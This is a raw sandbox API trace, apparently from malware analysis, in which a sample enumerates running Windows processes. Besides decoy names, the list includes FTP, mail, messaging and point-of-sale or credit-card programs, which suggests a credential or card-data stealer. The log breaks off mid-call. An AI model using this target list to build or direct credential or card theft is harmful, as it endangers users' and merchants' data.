cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0085.821] lstrlenW (lpString="while damaged.exe") returned 17 [0085.821] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0085.822] lstrlenW (lpString="hosted_thee.exe") returned 15 [0085.822] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0085.822] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0085.822] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0086.172] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0086.173] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0086.174] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0086.174] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0086.175] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0086.175] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0086.176] lstrlenW (lpString="l_greene_go.exe") returned 15 [0086.176] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0086.177] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0086.177] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0086.177] lstrlenW (lpString="spots wm.exe") returned 12 [0086.177] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0086.178] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0086.178] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0086.187] lstrlenW (lpString="lp imagination.exe") returned 18 [0086.187] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0086.195] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0086.196] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0086.197] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0086.198] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0086.198] lstrlenW (lpString="voluntary teach.exe") returned 19 [0086.198] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0086.199] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0086.199] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0086.200] lstrlenW (lpString="jesse.exe") returned 9 [0086.200] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0086.201] lstrlenW (lpString="partners_format.exe") returned 19 [0086.201] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0086.201] lstrlenW (lpString="predict.exe") returned 11 [0086.201] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0086.202] lstrlenW (lpString="supervisor.exe") returned 14 [0086.202] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0086.203] lstrlenW (lpString="3dftp.exe") returned 9 [0086.203] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0086.204] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0086.204] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0086.205] lstrlenW (lpString="alftp.exe") returned 9 [0086.205] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0086.226] lstrlenW (lpString="barca.exe") returned 9 [0086.226] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0086.227] lstrlenW (lpString="bitkinex.exe") returned 12 [0086.227] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0086.227] lstrlenW (lpString="coreftp.exe") returned 11 [0086.227] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0086.228] lstrlenW (lpString="far.exe") returned 7 [0086.229] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0086.229] lstrlenW (lpString="filezilla.exe") returned 13 [0086.229] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0086.230] lstrlenW (lpString="flashfxp.exe") returned 12 [0086.231] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0086.231] lstrlenW (lpString="fling.exe") returned 9 [0086.231] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0086.232] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0086.232] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0086.233] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0086.233] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0086.234] lstrlenW (lpString="icq.exe") returned 7 [0086.234] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0086.234] lstrlenW (lpString="leechftp.exe") returned 12 [0086.235] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0086.236] lstrlenW (lpString="ncftp.exe") returned 9 [0086.236] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0086.237] lstrlenW (lpString="notepad.exe") returned 11 [0086.237] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0086.238] lstrlenW (lpString="operamail.exe") returned 13 [0086.238] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0086.447] lstrlenW (lpString="pidgin.exe") returned 10 [0086.448] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0086.449] lstrlenW (lpString="scriptftp.exe") returned 13 [0086.449] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0086.450] lstrlenW (lpString="skype.exe") returned 9 [0086.450] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0086.451] lstrlenW (lpString="smartftp.exe") returned 12 [0086.451] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0086.452] lstrlenW (lpString="thunderbird.exe") returned 15 [0086.452] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0086.453] lstrlenW (lpString="totalcmd.exe") returned 12 [0086.453] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0086.454] lstrlenW (lpString="trillian.exe") returned 12 [0086.454] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0086.455] lstrlenW (lpString="webdrive.exe") returned 12 [0086.455] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0086.456] lstrlenW (lpString="whatsapp.exe") returned 12 [0086.456] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0086.458] lstrlenW (lpString="winscp.exe") returned 10 [0086.458] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0086.459] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0086.459] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0086.460] lstrlenW (lpString="active-charge.exe") returned 17 [0086.460] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0086.461] lstrlenW (lpString="accupos.exe") returned 11 [0086.461] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0086.462] lstrlenW (lpString="afr38.exe") returned 9 [0086.462] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0086.463] lstrlenW (lpString="aldelo.exe") returned 10 [0086.463] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0086.464] lstrlenW (lpString="ccv_server.exe") returned 14 [0086.464] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0086.464] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0086.464] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0086.465] lstrlenW (lpString="creditservice.exe") returned 17 [0086.465] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0086.466] lstrlenW (lpString="edcsvr.exe") returned 10 [0086.467] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0086.467] lstrlenW (lpString="fpos.exe") returned 8 [0086.468] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0086.468] lstrlenW (lpString="isspos.exe") returned 10 [0086.468] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0086.469] lstrlenW (lpString="mxslipstream.exe") returned 16 [0086.469] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0086.470] lstrlenW (lpString="omnipos.exe") returned 11 [0086.470] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0086.471] lstrlenW (lpString="spcwin.exe") returned 10 [0086.471] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0086.472] lstrlenW (lpString="spgagentservice.exe") returned 19 [0086.472] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0086.473] lstrlenW (lpString="utg2.exe") returned 8 [0086.473] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0086.473] lstrlenW (lpString="atlascomedy.exe") returned 15 [0086.474] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0086.474] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0086.475] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0086.475] lstrlenW (lpString="ntsc.exe") returned 8 [0086.475] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0086.476] lstrlenW (lpString="criteria.exe") returned 12 [0086.476] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0086.477] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0086.477] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0086.478] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0086.478] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0086.479] lstrlenW (lpString="taskhost.exe") returned 12 [0086.479] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0086.479] lstrlenW (lpString="winhost.exe") returned 11 [0086.479] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0086.480] lstrlenW (lpString="cmd.exe") returned 7 [0086.480] Process32NextW 